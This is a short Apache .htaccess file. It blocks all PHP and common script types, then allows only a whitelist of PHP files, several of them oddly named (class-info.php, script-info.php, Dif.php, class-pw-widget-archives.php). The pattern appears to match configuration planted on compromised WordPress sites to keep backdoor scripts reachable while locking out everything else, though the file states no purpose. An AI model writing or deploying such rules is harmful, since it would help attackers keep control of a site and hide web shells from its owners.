<FilesMatch "\.php$">
Require all denied
</FilesMatch>
<FilesMatch "^(wp-tinymce\.php|ms-files\.php|class-info\.php|script-info\.php|conf\.php|class-pw-widget-archives\.php|Dif\.php)$">
Require all granted
</FilesMatch>
<FilesMatch "\.(cgi|pl|py|sh|typo)$">
Require all denied
</FilesMatch>
Options -Indexes